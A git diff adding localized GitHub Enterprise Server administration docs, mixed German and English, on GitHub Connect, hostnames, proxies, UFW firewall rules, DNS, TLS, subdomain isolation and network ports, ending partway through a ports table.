+{% ifversion ghes %} ![Schaltfläche „GitHub Connect aktivieren“](/assets/images/enterprise/business-accounts/enable-github-connect-button.png){% else %} ![Schaltfläche „GitHub Connect aktivieren“](/assets/images/enterprise/github-ae/enable-github-connect-button.png){% endif %}
+1. Klicke neben dem Unternehmenskonto oder der Organisation, das bzw. die du verbinden möchtest, auf **Verbinden**.
+  ![Schaltfläche „Verbinden“ neben einem Unternehmenskonto oder einer Organisation](/assets/images/enterprise/business-accounts/choose-enterprise-or-org-connect.png)
+
+## Deaktivieren von {% data variables.product.prodname_github_connect %}
+
+Unternehmensbesitzer*innen können {% data variables.product.prodname_github_connect %} deaktivieren.
+
+Wenn du die Verbindung zur {% data variables.product.prodname_ghe_cloud %} trennst, wird die {% data variables.product.prodname_github_connect %} {% data variables.product.prodname_github_app %} aus deinem Unternehmenskonto oder deiner Organisation gelöscht. Zudem werden die auf {% data variables.location.product_location %} gespeicherten Anmeldeinformationen gelöscht.
+
+{% data reusables.enterprise-accounts.access-enterprise %} {% data reusables.enterprise-accounts.github-connect-tab %}
+1. Klicke neben dem Unternehmenskonto oder der Organisation, das bzw. die du trennen möchtest, auf **{% data variables.product.prodname_github_connect %} deaktivieren**.
+{% ifversion ghes %} ![Schaltfläche „GitHub Connect deaktivieren“ neben einem Unternehmenskonto oder Organisationsnamen](/assets/images/enterprise/business-accounts/disable-github-connect-button.png)
+1. Lies die Informationen zum Trennen, und klicke auf **{% data variables.product.prodname_github_connect %} deaktivieren**.
+  ![Modalfenster mit Warnhinweisen zur Trennung und Schaltfläche zur Bestätigung](/assets/images/enterprise/business-accounts/confirm-disable-github-connect.png)  
+{% else %} ![Schaltfläche „GitHub Connect deaktivieren“ neben einem Unternehmenskonto oder Organisationsnamen](/assets/images/enterprise/github-ae/disable-github-connect-button.png)
+1. Lies die Informationen zum Trennen, und klicke auf **{% data variables.product.prodname_github_connect %} deaktivieren**.
+  ![Modalfenster mit Warnhinweisen zur Trennung und Schaltfläche zur Bestätigung](/assets/images/enterprise/github-ae/confirm-disable-github-connect.png) {% endif %} 
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
new file mode 100644
index 0000000000..3d37a2c2dc
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-a-hostname.md
@@ -0,0 +1,39 @@
+---
+title: Configuring a hostname
+intro: We recommend setting a hostname for your appliance instead of using a hard-coded IP address.
+redirect_from:
+  - /enterprise/admin/guides/installation/configuring-hostnames
+  - /enterprise/admin/installation/configuring-a-hostname
+  - /enterprise/admin/configuration/configuring-a-hostname
+  - /admin/configuration/configuring-a-hostname
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+---
+If you configure a hostname instead of a hard-coded IP address, you will be able to change the physical hardware that {% data variables.location.product_location %} runs on without affecting users or client software.
+
+The hostname setting in the {% data variables.enterprise.management_console %} should be set to an appropriate fully qualified domain name (FQDN) which is resolvable on the internet or within your internal network. For example, your hostname setting could be `github.companyname.com.` Web and API requests will automatically redirect to the hostname configured in the {% data variables.enterprise.management_console %}. Note that `localhost` is not a valid hostname setting. 
+
+Hostnames must be less than 63 characters in length per [Section 2.3.4 of the Domain Names Specification RFC](https://datatracker.ietf.org/doc/html/rfc1035#section-2.3.4).
+
+After you configure a hostname, you can enable subdomain isolation to further increase the security of {% data variables.location.product_location %}. For more information, see "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation/)."
+
+For more information on the supported hostname types, see [Section 2.1 of the HTTP RFC](https://tools.ietf.org/html/rfc1123#section-2).
+
+{% data reusables.enterprise_installation.changing-hostname-not-supported %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.hostname-menu-item %}
+4. Type the hostname you'd like to set for {% data variables.location.product_location %}.
+  ![Field for setting a hostname](/assets/images/enterprise/management-console/hostname-field.png)
+5. To test the DNS and SSL settings for the new hostname, click **Test domain settings**.
+  ![Test domain settings button](/assets/images/enterprise/management-console/test-domain-settings.png)
+{% data reusables.enterprise_management_console.test-domain-settings-failure %}
+{% data reusables.enterprise_management_console.save-settings %}
+
+To help mitigate various cross-site scripting vulnerabilities, we recommend that you enable subdomain isolation for {% data variables.location.product_location %} after you configure a hostname. For more information, see "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation/)."
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
new file mode 100644
index 0000000000..0bf9da396a
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-an-outbound-web-proxy-server.md
@@ -0,0 +1,43 @@
+---
+title: Configuring an outbound web proxy server
+intro: 'A proxy server provides an additional level of security for {% data variables.location.product_location %}.'
+redirect_from:
+  - /enterprise/admin/guides/installation/configuring-a-proxy-server
+  - /enterprise/admin/installation/configuring-an-outbound-web-proxy-server
+  - /enterprise/admin/configuration/configuring-an-outbound-web-proxy-server
+  - /admin/configuration/configuring-an-outbound-web-proxy-server
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Networking
+shortTitle: Configure an outbound proxy
+---
+
+## About proxies with {% data variables.product.product_name %}
+
+When a proxy server is enabled for {% data variables.location.product_location %}, outbound messages sent by {% data variables.product.prodname_ghe_server %} are first sent through the proxy server, unless the destination host is added as an HTTP proxy exclusion. Types of outbound messages include outgoing webhooks, uploading bundles, and fetching legacy avatars. The proxy server's URL is the protocol, domain or IP address, plus the port number, for example `http://127.0.0.1:8123`.
+
+{% note %}
+
+**Note:**  To connect {% data variables.location.product_location %} to {% data variables.product.prodname_dotcom_the_website %}, your proxy configuration must allow connectivity to `github.com` and `api.github.com`. For more information, see "[Connecting your enterprise account to {% data variables.product.prodname_dotcom_the_website %}](/admin/configuration/managing-connections-between-your-enterprise-accounts/connecting-your-enterprise-account-to-github-enterprise-cloud)."
+
+{% endnote %}
+
+{% data reusables.actions.proxy-considerations %} For more information about using {% data variables.product.prodname_actions %} with {% data variables.product.prodname_ghe_server %}, see "[Getting started with {% data variables.product.prodname_actions %} for {% data variables.product.prodname_ghe_server %}](/admin/github-actions/enabling-github-actions-for-github-enterprise-server/getting-started-with-github-actions-for-github-enterprise-server)."
+
+## Configuring an outbound web proxy server
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.privacy %}
+1. Under **HTTP Proxy Server**, type the URL of your proxy server.
+  ![Field to type the HTTP Proxy Server URL](/assets/images/enterprise/management-console/http-proxy-field.png)
+  
+5. Optionally, under **HTTP Proxy Exclusion**, type any hosts that do not require proxy access, separating hosts with commas. To exclude all hosts in a domain from requiring proxy access, you can use `.` as a wildcard prefix.  For example: `.octo-org.tentacle`
+  ![Field to type any HTTP Proxy Exclusions](/assets/images/enterprise/management-console/http-proxy-exclusion-field.png)
+
+{% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
new file mode 100644
index 0000000000..7a0088680e
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-built-in-firewall-rules.md
@@ -0,0 +1,123 @@
+---
+title: Configuring built-in firewall rules
+intro: 'You can view default firewall rules and customize rules for {% data variables.location.product_location %}.'
+redirect_from:
+  - /enterprise/admin/guides/installation/configuring-firewall-settings
+  - /enterprise/admin/installation/configuring-built-in-firewall-rules
+  - /enterprise/admin/configuration/configuring-built-in-firewall-rules
+  - /admin/configuration/configuring-built-in-firewall-rules
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Networking
+shortTitle: Configure firewall rules
+---
+## About {% data variables.location.product_location %}'s firewall
+
+{% data variables.product.prodname_ghe_server %} uses Ubuntu's Uncomplicated Firewall (UFW) on the virtual appliance. For more information see "[UFW](https://help.ubuntu.com/community/UFW)" in the Ubuntu documentation. {% data variables.product.prodname_ghe_server %} automatically updates the firewall allowlist of allowed services with each release.
+
+After you install {% data variables.product.prodname_ghe_server %}, all required network ports are automatically opened to accept connections. Every non-required port is automatically configured as `deny`, and the default outgoing policy is configured as `allow`. Stateful tracking is enabled for any new connections; these are typically network packets with the `SYN` bit set. For more information, see "[Network ports](/enterprise/admin/guides/installation/network-ports)."
+
+The UFW firewall also opens several other ports that are required for {% data variables.product.prodname_ghe_server %} to operate properly. For more information on the UFW rule set, see [the UFW README](https://bazaar.launchpad.net/~jdstrand/ufw/0.30-oneiric/view/head:/README#L213).
+
+## Viewing the default firewall rules
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+2. To view the default firewall rules, use the `sudo ufw status` command. You should see output similar to this:
+  ```shell
+  $ sudo ufw status
+  > Status: active
+  > To                         Action      From
+  > --                         ------      ----
+  > ghe-1194                   ALLOW       Anywhere
+  > ghe-122                    ALLOW       Anywhere
+  > ghe-161                    ALLOW       Anywhere
+  > ghe-22                     ALLOW       Anywhere
+  > ghe-25                     ALLOW       Anywhere
+  > ghe-443                    ALLOW       Anywhere
+  > ghe-80                     ALLOW       Anywhere
+  > ghe-8080                   ALLOW       Anywhere
+  > ghe-8443                   ALLOW       Anywhere
+  > ghe-9418                   ALLOW       Anywhere
+  > ghe-1194 (v6)              ALLOW       Anywhere (v6)
+  > ghe-122 (v6)               ALLOW       Anywhere (v6)
+  > ghe-161 (v6)               ALLOW       Anywhere (v6)
+  > ghe-22 (v6)                ALLOW       Anywhere (v6)
+  > ghe-25 (v6)                ALLOW       Anywhere (v6)
+  > ghe-443 (v6)               ALLOW       Anywhere (v6)
+  > ghe-80 (v6)                ALLOW       Anywhere (v6)
+  > ghe-8080 (v6)              ALLOW       Anywhere (v6)
+  > ghe-8443 (v6)              ALLOW       Anywhere (v6)
+  > ghe-9418 (v6)              ALLOW       Anywhere (v6)
+  ```
+
+## Adding custom firewall rules
+
+{% warning %}
+
+**Warning:** Before you add custom firewall rules, back up your current rules in case you need to reset to a known working state. If you're locked out of your server, contact {% data variables.contact.contact_ent_support %} to reconfigure the original firewall rules. Restoring the original firewall rules involves downtime for your server.
+
+{% endwarning %}
+
+1. Configure a custom firewall rule.
+2. Check the status of each new rule with the `status numbered` command.
+  ```shell
+  $ sudo ufw status numbered
+  ```
+3. To back up your custom firewall rules, use the `cp`command to move the rules to a new file.
+  ```shell
+  $ sudo cp -r /etc/ufw ~/ufw.backup
+  ```
+
+After you upgrade {% data variables.location.product_location %}, you must reapply your custom firewall rules. We recommend that you create a script to reapply your firewall custom rules.
+
+## Restoring the default firewall rules
+
+If something goes wrong after you change the firewall rules, you can reset the rules from your original backup.
+
+{% warning %}
+
+**Warning:** If you didn't back up the original rules before making changes to the firewall, contact {% data variables.contact.contact_ent_support %} for further assistance.
+
+{% endwarning %}
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+2. To restore the previous backup rules, copy them back to the firewall with the `cp` command.
+  ```shell
+  $ sudo cp -f ~/ufw.backup/*rules /etc/ufw
+  ```
+3. Restart the firewall with the `systemctl` command.
+  ```shell
+  $ sudo systemctl restart ufw
+  ```
+4. Confirm that the rules are back to their defaults with the `ufw status` command.
+  ```shell
+  $ sudo ufw status
+  > Status: active
+  > To                         Action      From
+  > --                         ------      ----
+  > ghe-1194                   ALLOW       Anywhere
+  > ghe-122                    ALLOW       Anywhere
+  > ghe-161                    ALLOW       Anywhere
+  > ghe-22                     ALLOW       Anywhere
+  > ghe-25                     ALLOW       Anywhere
+  > ghe-443                    ALLOW       Anywhere
+  > ghe-80                     ALLOW       Anywhere
+  > ghe-8080                   ALLOW       Anywhere
+  > ghe-8443                   ALLOW       Anywhere
+  > ghe-9418                   ALLOW       Anywhere
+  > ghe-1194 (v6)              ALLOW       Anywhere (v6)
+  > ghe-122 (v6)               ALLOW       Anywhere (v6)
+  > ghe-161 (v6)               ALLOW       Anywhere (v6)
+  > ghe-22 (v6)                ALLOW       Anywhere (v6)
+  > ghe-25 (v6)                ALLOW       Anywhere (v6)
+  > ghe-443 (v6)               ALLOW       Anywhere (v6)
+  > ghe-80 (v6)                ALLOW       Anywhere (v6)
+  > ghe-8080 (v6)              ALLOW       Anywhere (v6)
+  > ghe-8443 (v6)              ALLOW       Anywhere (v6)
+  > ghe-9418 (v6)              ALLOW       Anywhere (v6)
+  ```
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
new file mode 100644
index 0000000000..04ddd6fa9e
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-dns-nameservers.md
@@ -0,0 +1,44 @@
+---
+title: Configuring DNS nameservers
+intro: '{% data variables.product.prodname_ghe_server %} uses the dynamic host configuration protocol (DHCP) for DNS settings when DHCP leases provide nameservers. If nameservers are not provided by a dynamic host configuration protocol (DHCP) lease, or if you need to use specific DNS settings, you can specify the nameservers manually.'
+redirect_from:
+  - /enterprise/admin/guides/installation/about-dns-nameservers
+  - /enterprise/admin/installation/configuring-dns-nameservers
+  - /enterprise/admin/configuration/configuring-dns-nameservers
+  - /admin/configuration/configuring-dns-nameservers
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Networking
+shortTitle: Configure DNS servers
+---
+The nameservers you specify must resolve {% data variables.location.product_location %}'s hostname.
+
+{% data reusables.enterprise_installation.changing-hostname-not-supported %}
+
+## Configuring nameservers using the virtual machine console
+
+{% data reusables.enterprise_installation.open-vm-console-start %}
+2. Configure nameservers for your instance.
+{% data reusables.enterprise_installation.vm-console-done %}
+
+## Configuring nameservers using the administrative shell
+
+{% data reusables.enterprise_installation.ssh-into-instance %}
+
+2. To edit your nameservers, use the `ghe-setup-network` command in visual mode. For more information, see "[Command-line utilities](/admin/configuration/configuring-your-enterprise/command-line-utilities#ghe-setup-network)."
+
+  ```shell
+  ghe-setup-network -v
+  ```
+
+5. To add your new nameserver entries to {% data variables.location.product_location %}, run the following:
+
+  ```shell
+  sudo service resolvconf restart
+  sudo service dnsmasq restart
+  ```
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console.md
new file mode 100644
index 0000000000..053f260f47
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-the-ip-address-using-the-virtual-machine-console.md
@@ -0,0 +1,34 @@
+---
+title: IP-Adresse mithilfe der VM-Konsole konfigurieren
+intro: '{% data variables.product.prodname_ghe_server %} ruft standardmäßig Netzwerkeinstellungen über das Dynamic Host Configuration Protocol (DHCP) ab. Wenn deine Plattform sie unterstützt oder falls DHCP nicht verfügbar ist, kannst du die Netzwerkeinstellungen auch mithilfe der VM-Konsole konfigurieren.'
+redirect_from:
+  - /enterprise/admin/installation/configuring-the-ip-address-using-the-virtual-machine-console
+  - /enterprise/admin/configuration/configuring-the-ip-address-using-the-virtual-machine-console
+  - /admin/configuration/configuring-the-ip-address-using-the-virtual-machine-console
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Networking
+shortTitle: Set the IP using the console
+ms.openlocfilehash: db183677409757e516515a5ac7def5a70affd01f
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145106980'
+---
+{% note %}
+
+**Hinweis:** Das Hinzuzufügen zusätzlicher Netzwerkadapter zu {% data variables.product.prodname_ghe_server %} wird nicht unterstützt.
+
+{% endnote %}
+
+{% data reusables.enterprise_installation.open-vm-console-start %}
+3. Wähle die Konfiguration des Protokolls `IPv4` oder `IPv6` aus.
+  ![Auswahloptionen für das IPv4- oder für das IPv6-Protokoll](/assets/images/enterprise/network-configuration/IPv4-or-IPv6-protocol.png)
+4. Konfiguriere die Optionen für das gewünschte Protokoll.
+  ![Menü mit IP-Protokoll-Optionen](/assets/images/enterprise/network-configuration/network-settings-selection.png) {% data reusables.enterprise_installation.vm-console-done %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-tls.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-tls.md
new file mode 100644
index 0000000000..bebfbb14fe
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/configuring-tls.md
@@ -0,0 +1,85 @@
+---
+title: Configuring TLS
+intro: 'You can configure Transport Layer Security (TLS) on {% data variables.location.product_location %} so that you can use a certificate that is signed by a trusted certificate authority.'
+redirect_from:
+  - /enterprise/admin/articles/ssl-configuration
+  - /enterprise/admin/guides/installation/about-tls
+  - /enterprise/admin/installation/configuring-tls
+  - /enterprise/admin/configuration/configuring-tls
+  - /admin/configuration/configuring-tls
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Networking
+  - Security
+---
+## About Transport Layer Security
+
+TLS, which replaced SSL, is enabled and configured with a self-signed certificate when {% data variables.product.prodname_ghe_server %} is started for the first time. As self-signed certificates are not trusted by web browsers and Git clients, these clients will report certificate warnings until you disable TLS or upload a certificate signed by a trusted authority, such as Let's Encrypt.
+
+The {% data variables.product.prodname_ghe_server %} appliance will send HTTP Strict Transport Security headers when SSL is enabled. Disabling TLS will cause users to lose access to the appliance, because their browsers will not allow a protocol downgrade to HTTP. For more information, see "[HTTP Strict Transport Security (HSTS)](https://en.wikipedia.org/wiki/HTTP_Strict_Transport_Security)" on Wikipedia.
+
+{% data reusables.enterprise_installation.terminating-tls %}
+
+To allow users to use FIDO U2F for two-factor authentication, you must enable TLS for your instance. For more information, see "[Configuring two-factor authentication](/articles/configuring-two-factor-authentication)."
+
+## Prerequisites
+
+To use TLS in production, you must have a certificate in an unencrypted PEM format signed by a trusted certificate authority.
+
+Your certificate will also need Subject Alternative Names configured for the subdomains listed in "[Enabling subdomain isolation](/enterprise/admin/guides/installation/enabling-subdomain-isolation#about-subdomain-isolation)" and will need to include the full certificate chain if it has been signed by an intermediate certificate authority. For more information, see "[Subject Alternative Name](http://en.wikipedia.org/wiki/SubjectAltName)" on Wikipedia.
+
+You can generate a certificate signing request (CSR) for your instance using the `ghe-ssl-generate-csr` command. For more information, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities/#ghe-ssl-generate-csr)."
+
+Your key must be an RSA key and must not have a passphrase. For more information, see "[Removing the passphrase from your key file](/admin/guides/installation/troubleshooting-ssl-errors#removing-the-passphrase-from-your-key-file)".
+
+## Uploading a custom TLS certificate
+
+{% data reusables.enterprise_site_admin_settings.tls-downtime %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.privacy %}
+{% data reusables.enterprise_management_console.select-tls-only %}
+4. Under "TLS Protocol support", select the protocols you want to allow.
+  ![Radio buttons with options to choose TLS protocols](/assets/images/enterprise/management-console/tls-protocol-support.png)
+5. Under "Certificate", click **Choose File** to choose a TLS certificate or certificate chain (in PEM format) to install. This file will usually have a *.pem*, *.crt*, or *.cer* extension.
+  ![Button to find TLS certificate file](/assets/images/enterprise/management-console/install-tls-certificate.png)
+6. Under "Unencrypted key", click **Choose File** to choose an RSA key (in PEM format) to install. This file will usually have a *.key* extension.
+  ![Button to find TLS key file](/assets/images/enterprise/management-console/install-tls-key.png)
+
+{% data reusables.enterprise_management_console.save-settings %}
+
+## About Let's Encrypt support
+
+Let's Encrypt is a public certificate authority that issues free, automated TLS certificates that are trusted by browsers using the ACME protocol. You can automatically obtain and renew Let's Encrypt certificates on your appliance without any required manual maintenance.
+
+{% data reusables.enterprise_installation.lets-encrypt-prerequisites %}
+
+When you enable automation of TLS certificate management using Let's Encrypt, {% data variables.location.product_location %} will contact the Let's Encrypt servers to obtain a certificate. To renew a certificate, Let's Encrypt servers must validate control of the configured domain name with inbound HTTP requests.
+
+You can also use the `ghe-ssl-acme` command line utility on {% data variables.location.product_location %} to automatically generate a Let's Encrypt certificate. For more information, see "[Command-line utilities](/enterprise/admin/guides/installation/command-line-utilities#ghe-ssl-acme)."
+
+## Configuring TLS using Let's Encrypt
+
+{% data reusables.enterprise_installation.lets-encrypt-prerequisites %}
+
+{% data reusables.enterprise_site_admin_settings.tls-downtime %}
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.privacy %}
+{% data reusables.enterprise_management_console.select-tls-only %}
+5. Select **Enable automation of TLS certificate management using Let's Encrypt**.
+  ![Checkbox to enable Let's Encrypt](/assets/images/enterprise/management-console/lets-encrypt-checkbox.png)
+{% data reusables.enterprise_management_console.save-settings %}
+{% data reusables.enterprise_management_console.privacy %}
+7. Click **Request TLS certificate**.
+  ![Request TLS certificate button](/assets/images/enterprise/management-console/request-tls-button.png)
+8. Wait for the "Status" to change from "STARTED" to "DONE".
+   ![Let's Encrypt status](/assets/images/enterprise/management-console/lets-encrypt-status.png)
+9. Click **Save configuration**.
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
new file mode 100644
index 0000000000..98a84270fb
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/enabling-subdomain-isolation.md
@@ -0,0 +1,71 @@
+---
+title: Enabling subdomain isolation
+intro: 'You can set up subdomain isolation to securely separate user-supplied content from other portions of your {% data variables.product.prodname_ghe_server %} appliance.'
+redirect_from:
+  - /enterprise/admin/guides/installation/about-subdomain-isolation
+  - /enterprise/admin/installation/enabling-subdomain-isolation
+  - /enterprise/admin/configuration/enabling-subdomain-isolation
+  - /admin/configuration/enabling-subdomain-isolation
+versions:
+  ghes: '*'
+type: how_to
+topics:
+  - Enterprise
+  - Fundamentals
+  - Infrastructure
+  - Networking
+  - Security
+shortTitle: Enable subdomain isolation
+---
+## About subdomain isolation
+
+Subdomain isolation mitigates cross-site scripting and other related vulnerabilities. For more information, see "[Cross-site scripting](http://en.wikipedia.org/wiki/Cross-site_scripting)" on Wikipedia. We highly recommend that you enable subdomain isolation on {% data variables.location.product_location %}.
+
+When subdomain isolation is enabled, {% data variables.product.prodname_ghe_server %} replaces several paths with subdomains. After enabling subdomain isolation, attempts to access the previous paths for some user-supplied content, such as `http(s)://HOSTNAME/raw/`, may return `404` errors.
+
+| Path without subdomain isolation  | Path with subdomain isolation   |
+| --- | --- |
+| `http(s)://HOSTNAME/assets/`      | `http(s)://assets.HOSTNAME/`      |
+| `http(s)://HOSTNAME/avatars/`     | `http(s)://avatars.HOSTNAME/`     |
+| `http(s)://HOSTNAME/codeload/`    | `http(s)://codeload.HOSTNAME/`    |
+| `http(s)://HOSTNAME/gist/`        | `http(s)://gist.HOSTNAME/`        |
+| `http(s)://HOSTNAME/media/`       | `http(s)://media.HOSTNAME/`       |
+| `http(s)://HOSTNAME/pages/`       | `http(s)://pages.HOSTNAME/`       |
+| `http(s)://HOSTNAME/raw/`         | `http(s)://raw.HOSTNAME/`         |
+{%- ifversion viewscreen-and-notebooks %}
+| `http(s)://HOSTNAME/viewscreen/`  | `http(s)://viewscreen.HOSTNAME/`  |
+| `http(s)://HOSTNAME/notebooks/`   | `http(s)://notebooks.HOSTNAME/`   |
+{%- else %}
+| `http(s)://HOSTNAME/render/`      | `http(s)://render.HOSTNAME/`      |
+{%- endif %}
+| `http(s)://HOSTNAME/reply/`       | `http(s)://reply.HOSTNAME/`       |
+| `http(s)://HOSTNAME/uploads/`     | `http(s)://uploads.HOSTNAME/`     | {% ifversion ghes %}
+| `https://HOSTNAME/` | `http(s)://docker.HOSTNAME/`{% endif %}{% ifversion ghes %}
+| `https://HOSTNAME/_registry/npm/` | `https://npm.HOSTNAME/`
+| `https://HOSTNAME/_registry/rubygems/` | `https://rubygems.HOSTNAME/`
+| `https://HOSTNAME/_registry/maven/` | `https://maven.HOSTNAME/`
+| `https://HOSTNAME/_registry/nuget/` | `https://nuget.HOSTNAME/`{% endif %}{% ifversion ghes > 3.4 %}
+| Not supported | `https://containers.HOSTNAME/` |{% endif %}
+
+## Prerequisites
+
+{% data reusables.enterprise_installation.disable-github-pages-warning %}
+
+Before you enable subdomain isolation, you must configure your network settings for your new domain.
+
+- Specify a valid domain name as your hostname, instead of an IP address. For more information, see "[Configuring a hostname](/enterprise/admin/guides/installation/configuring-a-hostname)."
+
+{% data reusables.enterprise_installation.changing-hostname-not-supported %}
+
+- Set up a wildcard Domain Name System (DNS) record or individual DNS records for the subdomains listed above. We recommend creating an A record for `*.HOSTNAME` that points to your server's IP address so you don't have to create multiple records for each subdomain.
+- Get a wildcard Transport Layer Security (TLS) certificate for `*.HOSTNAME` with a Subject Alternative Name (SAN) for both `HOSTNAME` and the wildcard domain `*.HOSTNAME`. For example, if your hostname is `github.octoinc.com`, get a certificate with the Common Name value set to `*.github.octoinc.com` and a SAN value set to both `github.octoinc.com` and `*.github.octoinc.com`.
+- Enable TLS on your appliance. For more information, see "[Configuring TLS](/enterprise/admin/guides/installation/configuring-tls/)."
+
+## Enabling subdomain isolation
+
+{% data reusables.enterprise_site_admin_settings.access-settings %}
+{% data reusables.enterprise_site_admin_settings.management-console %}
+{% data reusables.enterprise_management_console.hostname-menu-item %}
+4. Select **Subdomain isolation (recommended)**.
+  ![Checkbox to enable subdomain isolation](/assets/images/enterprise/management-console/subdomain-isolation.png)
+{% data reusables.enterprise_management_console.save-settings %}
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/index.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/index.md
new file mode 100644
index 0000000000..5261e74e33
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/index.md
@@ -0,0 +1,34 @@
+---
+title: Konfigurieren von Netzwerkeinstellungen
+redirect_from:
+  - /enterprise/admin/guides/installation/dns-hostname-subdomain-isolation-and-ssl
+  - /enterprise/admin/articles/about-dns-ssl-and-subdomain-settings
+  - /enterprise/admin/articles/configuring-dns-ssl-and-subdomain-settings
+  - /enterprise/admin/guides/installation/configuring-your-github-enterprise-network-settings
+  - /enterprise/admin/installation/configuring-your-github-enterprise-server-network-settings
+  - /enterprise/admin/configuration/configuring-network-settings
+intro: 'Konfiguriere {% data variables.product.prodname_ghe_server %} die in deinem Netzwerk erforderlichen DNS-Nameserver und den Hostnamen. Zudem kannst du einen Proxyserver oder Firewallregeln konfigurieren. Aus Verwaltungs- und Benutzerzwecken musst du zudem den Zugriff auf bestimmte Ports zulassen.'
+versions:
+  ghes: '*'
+topics:
+  - Enterprise
+children:
+  - /configuring-the-ip-address-using-the-virtual-machine-console
+  - /configuring-dns-nameservers
+  - /configuring-a-hostname
+  - /validating-your-domain-settings
+  - /configuring-tls
+  - /enabling-subdomain-isolation
+  - /configuring-an-outbound-web-proxy-server
+  - /configuring-built-in-firewall-rules
+  - /network-ports
+  - /using-github-enterprise-server-with-a-load-balancer
+shortTitle: Configure network settings
+ms.openlocfilehash: 6c6e7149a63683cf003671d37e14d39ea3ffb9af
+ms.sourcegitcommit: fcf3546b7cc208155fb8acdf68b81be28afc3d2d
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 09/10/2022
+ms.locfileid: '145103048'
+---
+
diff --git a/translations/de-DE/content/admin/configuration/configuring-network-settings/network-ports.md b/translations/de-DE/content/admin/configuration/configuring-network-settings/network-ports.md
new file mode 100644
index 0000000000..45bddd5a3b
--- /dev/null
+++ b/translations/de-DE/content/admin/configuration/configuring-network-settings/network-ports.md
@@ -0,0 +1,78 @@
+---
+title: Netzwerkports
+redirect_from:
+  - /enterprise/admin/articles/configuring-firewalls
+  - /enterprise/admin/articles/firewall
+  - /enterprise/admin/guides/installation/network-configuration
+  - /enterprise/admin/guides/installation/network-ports-to-open
+  - /enterprise/admin/installation/network-ports
+  - /enterprise/admin/configuration/network-ports
+  - /admin/configuration/network-ports
+intro: 'Öffne Netzwerkports anhand dessen, welche Netzwerkdienste du für Administratoren, Endbenutzer und für die E-Mail-Unterstützung bereitstellen musst.'
+versions:
+  ghes: '*'
+type: reference
+topics:
+  - Enterprise
+  - Infrastructure
+  - Networking
+  - Security
+ms.openlocfilehash: 048b27ed44cea11057c781ae3043078a825f8d1a
+ms.sourcegitcommit: d82f268a6f0236d1f4d2bf3d049974ada0170402
+ms.translationtype: HT
+ms.contentlocale: de-DE
+ms.lasthandoff: 11/10/2022
+ms.locfileid: '148160654'
+---
+## Verwaltungsports
+
+Einige Verwaltungsports sind zum Konfigurieren von {% data variables.location.product_location %} und zum Ausführen bestimmter Features erforderlich. Verwaltungsports sind für die einfache Verwendung von Anwendungen durch Endbenutzer nicht erforderlich.
+
+| Port | Dienst | BESCHREIBUNG |
+|---|---|---|
+| 8443 | HTTPS | Sichere webbasierte {% data variables.enterprise.management_console %}. Für die grundlegende Installation und Konfiguration erforderlich. |
